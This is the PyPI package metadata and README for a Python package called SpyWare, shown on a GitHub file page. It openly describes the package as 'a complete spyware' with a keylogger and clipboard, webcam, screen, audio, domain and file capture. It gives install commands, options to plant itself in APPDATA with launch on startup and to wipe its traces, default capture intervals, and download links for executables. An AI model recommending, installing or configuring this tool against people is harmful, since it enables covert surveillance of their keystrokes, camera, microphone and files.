-
Notifications
You must be signed in to change notification settings - Fork 21
/
PKG-INFO
375 lines (297 loc) · 13.6 KB
/
PKG-INFO
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
Metadata-Version: 2.1
Name: SpyWare
Version: 1.0.5
Summary: This package implements a complete SpyWare.
Home-page: https://github.com/mauricelambert/SpyWare
Author: Maurice Lambert
Author-email: [email protected]
Maintainer: Maurice Lambert
Maintainer-email: [email protected]
License: GPL-3.0 License
Project-URL: Windows Executable (one file), https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe
Project-URL: Windows Executable, https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip
Project-URL: Documentation, https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html
Project-URL: Documentation Clipboard, https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html
Project-URL: Documentation Screenshot, https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html
Project-URL: Documentation Domains, https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html
Project-URL: Documentation Recorder, https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html
Project-URL: Documentation Keylogger, https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html
Project-URL: Documentation Webcam, https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html
Project-URL: Documentation Files, https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html
Project-URL: Python executable, https://mauricelambert.github.io/info/python/security/SpyWare.pyz
Project-URL: Clipboard - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz
Project-URL: Screenshot - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz
Project-URL: Domains - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz
Project-URL: Recorder - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz
Project-URL: Keylogger - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz
Project-URL: Webcam - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz
Project-URL: Files - Python executable, https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz
Keywords: KeyLogger,SpyWare,WebCam,ClibBoard,DNS Cache,Screen,Recorder,Files,Spy
Platform: Windows
Platform: Linux
Platform: MacOS
Classifier: Programming Language :: Python
Classifier: Development Status :: 5 - Production/Stable
Classifier: Topic :: Security
Classifier: Environment :: Console
Classifier: Natural Language :: English
Classifier: Programming Language :: Python :: 3.9
Classifier: Operating System :: POSIX :: Linux
Classifier: Operating System :: Microsoft :: Windows
Classifier: Operating System :: MacOS
Classifier: Topic :: Security
Requires-Python: >=3.6
Description-Content-Type: text/markdown
License-File: LICENSE.txt
![SpyWare logo](https://mauricelambert.github.io/info/python/security/SpyWare_small.png "SpyWare logo")
# SpyWare
## Description
This package implements a complete spyware.
Features:
- KeyLogger
- ClipboardLogger
- Domains/IP logger
- Webcam spy
- Screen spy
- Files logger
- Recorder
## Requirements
This package require:
- python3
- python3 Standard Library
- pyautogui
- opencv-python
- pillow
- pyperclip
- pynput
- pyaudio
## Installation
```bash
pip install SpyWare
```
## Usages
### Command line
```bash
SpyWare # Run all modules
SpyWare runonly -s # Run only screen module
SpyWare runonly --screen --key # Run only screen module and keylogger
SpyWare runonly --key my.conf # Run only module key with custom configuration file
SpyWare --install # Install spyware in random destination, enable it and run all modules
SpyWare --enable # Enable the SpyWare (start on reboot)
SpyWare --env "keySpy.conf=my.conf" # Add an environment variable (this defined the name of the custom configuration file for the keylogger)
SpyWare donotrun --domains --webcam # Run all modules except domains and webcam
# Following arguments are executed on python exit
# To stop the spyware you should raise a KeyboardInterrupt (Ctrl-C in the terminal)
# Is not working on OS shutdown or process kill
SpyWare --remove # Remove all files generated by the SpyWare and the SpyWare (the executable file only)
SpyWare --tar # Add data generated by the SpyWare in a .tar archive
SpyWare --tar "gz" # Add data generated by the SpyWare in a .tar.gz archive (compressed)
```
### Python executables
```bash
python3 WebcamLogger.pyz # Execute the webcam module
python3 WebcamLogger.pyz my.conf # Execute the webcam module with custom configuration file
# OR
chmod u+x AudioLogger.pyz # Add execution permission
./AudioLogger.pyz my.conf # Execute the audio (recorder) module
python3 SpyWare.pyz runonly --files # Run only the files modules
# OR
chmod u+x SpyWare.pyz # Add execution permission
./SpyWare.pyz donotrun --clipboard --key # Run all modules except clipboard module and keylogger
```
### Python module
```bash
python3 -m SpyWare # Run all modules
python3 -m SpyWare.AudioLogger # Run only one module
python3 -m SpyWare.WebcamLogger my.conf # Run only one module with custom configuration file
python3 -m SpyWare.FilesLogger.FilesLogger # Run only one module
python3 -m SpyWare.KeyLogger.KeyLogger my.conf # Run only one module with custom configuration file
```
### Python script
```python
from SpyWare import spyware
spyware() # Run all modules
```
```python
from SpyWare import AudioLogger
from SpyWare.KeyLogger import keySpy
AudioLogger.audioSpy() # Run audio (recorder) module
keySpy(filename="my.conf") # Run keylogger with custom configuration file
```
There are three way to change the configuration filename:
1. Using the *filename* argument of the *configuration loader* function
2. Using environment variables (in python: `os.environ`). The name of the environment variable is the filename of the default configuration file.
3. Using command line arguments
Examples available in HTML documentation of modules.
```python
from SpyWare.FilesLogger import Daemon, filesConfig
filesConfig("my.conf") # Load configuration
Daemon().run_for_ever() # Start the daemon thread of "files" module
```
```python
from SpyWare.ClipboardLogger import Daemon, copyConfig
from os import environ
environ["clipboardSpy.conf"] = "my.conf" # Change the environment variable
copyConfig() # Load configuration
daemon = Daemon()
daemon.run_for_ever() # Start the daemon thread of clipboard module
```
```python
from SpyWare.ScreenLogger import Daemon, screenConfig
screenConfig(argv=["_", "my.conf"]) # Use custom argv to load configuration
daemon = Daemon()
daemon.run_for_ever() # Start the daemon thread of screen module
```
## Default configurations
### Clipboard
```ini
[SAVE]
filename = clipboard.txt
[TIME]
check_internval = 11
```
### Recorder
```ini
[SAVE]
filename = record*.wav
dirname = records
[TIME]
interval = 3590
record_time = 10
```
### Domains
```ini
[SAVE]
filename = domains.txt
[TIME]
interval_dns = 60
interval_appdata = 86400
interval_reading_file = 0.5
interval_domain = 0.05
```
### Fileslogger
```ini
[SAVE]
filename = files.csv
[TIME]
file_interval = 0.1
directory_interval = 1
scan_interval = 86400
```
### Keylogger
```ini
[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1
[TIME]
```
### Screenshot
```ini
[SAVE]
filename = screenshot*.png
dirname = screenshots
[TIME]
screenshot_interval = 3600
```
### Webcam
```ini
[SAVE]
filename = webcam*.png
dirname = pictures
[TIME]
picture_interval = 3600
```
## Helps
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz [-h] [--env [ENV ...]] [--install] [--enable] [--remove] [--tar [{bz2,xz,gz}]] {runonly,donotrun} ...
This file implements a complete spyware.
positional arguments:
{runonly,donotrun} Modules selection type.
runonly Run only specified modules.
donotrun Do not run specified modules.
optional arguments:
-h, --help show this help message and exit
--env [ENV ...], -e [ENV ...]
Add environment variable, values should be formatted as <key>=<value>
--install, -i Install the spyware in APPDATA and enabled it (launch on startup)
--enable, -E Enable the spyware (launch it on startup)
--remove, -r Remove spyware trace (executable/script, links and data)
--tar [{bz2,xz,gz}], -t [{bz2,xz,gz}]
Build a tar file with data, optional value should be 'gz', 'xz', 'bz2' to compress.
```
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz runonly [-h] [--audio [AUDIO]] [--clipboard [CLIPBOARD]] [--domains [DOMAINS]] [--files [FILES]] [--key [KEY]] [--screen [SCREEN]] [--webcam [WEBCAM]]
optional arguments:
-h, --help show this help message and exit
modules:
SpyWare modules to launch in this process.
--audio [AUDIO], -a [AUDIO]
Run module audio with optional value as configuration file (default=audioSpy.conf).
--clipboard [CLIPBOARD], -c [CLIPBOARD]
Run module clipboard with optional value as configuration file (default=clipboardSpy.conf).
--domains [DOMAINS], -d [DOMAINS]
Run module domains with optional value as configuration file (default=domainsSpy.conf).
--files [FILES], -f [FILES]
Run module files with optional value as configuration file (default=filesSpy.conf).
--key [KEY], -k [KEY]
Run module key with optional value as configuration file (default=keySpy.conf).
--screen [SCREEN], -s [SCREEN]
Run module screen with optional value as configuration file (default=screenSpy.conf).
--webcam [WEBCAM], -w [WEBCAM]
Run module webcam with optional value as configuration file (default=webcamSpy.conf).
```
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz donotrun [-h] [--audio] [--clipboard] [--domains] [--files] [--key] [--screen] [--webcam]
optional arguments:
-h, --help show this help message and exit
modules:
SpyWare modules to not launch in this process.
--audio, -a Do not run module audio.
--clipboard, -c Do not run module clipboard.
--domains, -d Do not run module domains.
--files, -f Do not run module files.
--key, -k Do not run module key.
--screen, -s Do not run module screen.
--webcam, -w Do not run module webcam.
```
## Links
- [Github Page](https://github.com/mauricelambert/SpyWare)
- [Windows Executable (one file)](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe)
- [Windows Executable](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip)
- [Documentation](https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html)
- [Documentation Clipboard](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html)
- [Documentation Screenshot](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html)
- [Documentation Domains](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html)
- [Documentation Recorder](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html)
- [Documentation Keylogger](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html)
- [Documentation Webcam](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html)
- [Documentation Files](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html)
- [Download as python executable](https://mauricelambert.github.io/info/python/security/SpyWare.pyz)
- [Download Clipboard as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz)
- [Download Screenshot as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz)
- [Download Domains as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz)
- [Download Recorder as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz)
- [Download Keylogger as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz)
- [Download Webcam as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz)
- [Download Files as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz)
- [Pypi package](https://pypi.org/project/SpyWare/)
## Licence
Licensed under the [GPL, version 3](https://www.gnu.org/licenses/).